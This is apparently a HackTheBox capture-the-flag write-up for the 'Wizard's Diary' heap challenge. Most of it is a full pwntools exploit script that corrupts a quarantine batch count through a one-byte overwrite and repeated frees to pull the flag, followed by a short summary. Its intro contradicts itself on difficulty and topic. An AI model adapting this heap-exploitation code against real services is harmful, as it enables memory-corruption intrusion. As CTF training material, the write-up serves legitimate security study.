Post

HackTheBox Wizard's Diary Writeup

Explore the basics of cybersecurity in the Wizard’s Diary Challenge on Hack The Box. This hard-level Challenge introduces encryption reversal and file handling concepts in a clear and accessible way, perfect for beginners.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import *
import sys
import concurrent.futures

def exploit_process(host, port):
    def get_process():
        return remote(host, port)

    def new_note(p, size, value):
        p.sendlineafter(b'> ', b'1')
        p.sendlineafter(b':', str(size).encode())
        p.sendlineafter(b':', value)

    def remove_note(p, idx):
        p.sendlineafter(b'> ', b'2')
        p.sendlineafter(b':', str(idx).encode())

    def fix_note(p, idx, off, byte):
        p.sendlineafter(b'> ', b'3')
        p.sendlineafter(b':', str(idx).encode())
        p.sendlineafter(b':', str(off).encode())
        p.sendlineafter(b':', byte)

    def show_note(p, idx, off):
        p.sendlineafter(b'> ', b'4')
        p.sendlineafter(b':', str(idx).encode())
        p.sendlineafter(b':', str(off).encode())
        p.recvuntil(b'Byte: ')
        b = p.recvline().rstrip()
        return b

    try:
        p = get_process()
        p.sendlineafter(b'Name: ', b'guest')
        p.sendline(b'i'*8)
        new_note(p, 8176, b'note_0')
        for i in range(0, 4):
            new_note(p, 100, b'ABCD')
        for i in range(0, 4):
            remove_note(p, i+1)
        log.info('Set Count to 4')
        batch_0 = 0
        comment = 0
        i = 0
        while batch_0 == 0 or comment == 0:
            if i > 0x10000:
                p.close()
                log.error('Failed! i was exhausted')
                return None
            i += 16
            c = show_note(p, 0, i)
            if c == b'\x04':
                log.success(f'Found Count at i = {i}!')
                batch_0 = i + 8
                i += 8
            elif c == b'i':
                log.success(f'Found comment at i = {i}!')
                comment = i - 8
        if batch_0 > comment:
            log.error('Failed: Batch lower in memory than comment')
            p.close()
            return None
        log.info('Calculating offset and writing LSB...')
        offset = comment - batch_0
        idx_count = offset // 8
        second_lsb = idx_count >> 8
        fix_note(p, 0, batch_0 - 8 + 1, chr(second_lsb).encode())
        log.info('Lots of frees')
        for i in range(0xff):
            new_note(p, 100, b'A')
            remove_note(p, 1)
        log.info('Printing Flag...')
        p.sendlineafter(b'> ', b'1337')
        flag = p.recvline().decode()
        p.close()
        return flag
    except Exception as e:
        log.error(f'Error in exploit: {e}')
        return None

def main():
    if len(sys.argv) < 3:
        print(f'Usage: python {sys.argv[0]} <ip:port> <count>')
        sys.exit(1)
    count = int(sys.argv[2])
    host, port = sys.argv[1].split(':')
    port = int(port)
    with concurrent.futures.ThreadPoolExecutor(max_workers=count) as executor:
        futures = [executor.submit(exploit_process, host, port) for _ in range(count)]
        for future in concurrent.futures.as_completed(futures):
            try:
                result = future.result()
                if result:
                    log.success(f'Successful Flag: {result}')
            except Exception as e:
                log.error(f'Exploit task failed: {e}')

if __name__ == '__main__':
    main()

It takes several attempts, but setting the Count to 100 should do the trick in about 5 minutes.

Summary

The Wizard’s Diary Challenge on Hack The Box is a hard-level challenge focused on exploiting memory vulnerabilities in a note management system. The Python script, using Pwntools, interacts with the service to manipulate memory by creating, modifying, and removing notes. The goal is to exploit memory offsets, specifically targeting the Count element in the QuarantineBatch structure, to overwrite critical integers and bypass security checks. The challenge requires multiple attempts and advanced exploitation techniques, including using a one-byte overwrite to manipulate heap memory, ultimately revealing the flag. This exploit demonstrates the effectiveness of heap manipulation despite defenses like randomised allocation and checks on the Count value.

This post is licensed under CC BY 4.0 by the author.